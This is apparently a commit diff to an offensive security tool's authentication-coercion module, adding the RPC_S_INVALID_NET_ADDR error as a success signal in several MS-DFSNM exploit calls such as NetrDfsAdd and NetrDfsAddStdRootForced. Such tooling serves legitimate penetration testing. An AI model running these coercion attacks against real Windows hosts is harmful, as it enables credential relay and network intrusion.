@@ -389,7 +389,7 @@ def exploit(self, dce, listener, always_continue, pipe):
389389
390390 dce .request (request )
391391 except Exception as e :
392- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
392+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
393393 self .context .log .debug ("NetrDfsAddStdRootForced Success" )
394394 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAddStdRootForced" )
395395 if not always_continue :
@@ -421,7 +421,7 @@ def exploit(self, dce, listener, always_continue, pipe):
421421 self .context .log .debug ("NetrDfsAddRootTarget Success" )
422422 return True
423423 except Exception as e :
424- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
424+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
425425 self .context .log .debug ("NetrDfsAddRootTarget Success" )
426426 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAddRootTarget" )
427427 if not always_continue :
@@ -448,7 +448,7 @@ def exploit(self, dce, listener, always_continue, pipe):
448448 self .context .log .debug ("NetrDfsRemoveRootTarget Success" )
449449 return True
450450 except Exception as e :
451- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
451+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
452452 self .context .log .debug ("NetrDfsRemoveRootTarget Success" )
453453 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsRemoveRootTarget" )
454454 if not always_continue :
@@ -469,7 +469,7 @@ def exploit(self, dce, listener, always_continue, pipe):
469469
470470 dce .request (request )
471471 except Exception as e :
472- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
472+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
473473 self .context .log .debug ("NetrDfsAdd Success" )
474474 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAdd" )
475475 if not always_continue :
@@ -492,7 +492,7 @@ def exploit(self, dce, listener, always_continue, pipe):
492492
493493 dce .request (request )
494494 except Exception as e :
495- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
495+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
496496 self .context .log .debug ("NetrDfsAdd Success" )
497497 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAdd" )
498498 if not always_continue :
@@ -511,7 +511,7 @@ def exploit(self, dce, listener, always_continue, pipe):
511511 request ["ApiFlags" ] = 0
512512 dce .request (request )
513513 except Exception as e :
514- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
514+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
515515 self .context .log .debug ("NetrDfsAddStdRoot Success" )
516516 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsAddStdRoot" )
517517 if not always_continue :
@@ -527,7 +527,7 @@ def exploit(self, dce, listener, always_continue, pipe):
527527 request ["ApiFlags" ] = 0
528528 dce .request (request )
529529 except Exception as e :
530- if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 :
530+ if str (e ).find ("rpc_s_access_denied" ) >= 0 or str (e ).find ("ERROR_BAD_NETPATH" ) >= 0 or str ( e ). find ( "RPC_S_INVALID_NET_ADDR" ) >= 0 :
531531 self .context .log .debug ("NetrDfsRemoveStdRoot Success" )
532532 self .context .log .highlight (f"Exploit Success, { pipe } \\ NetrDfsRemoveStdRoot" )
533533 if not always_continue :
0 commit comments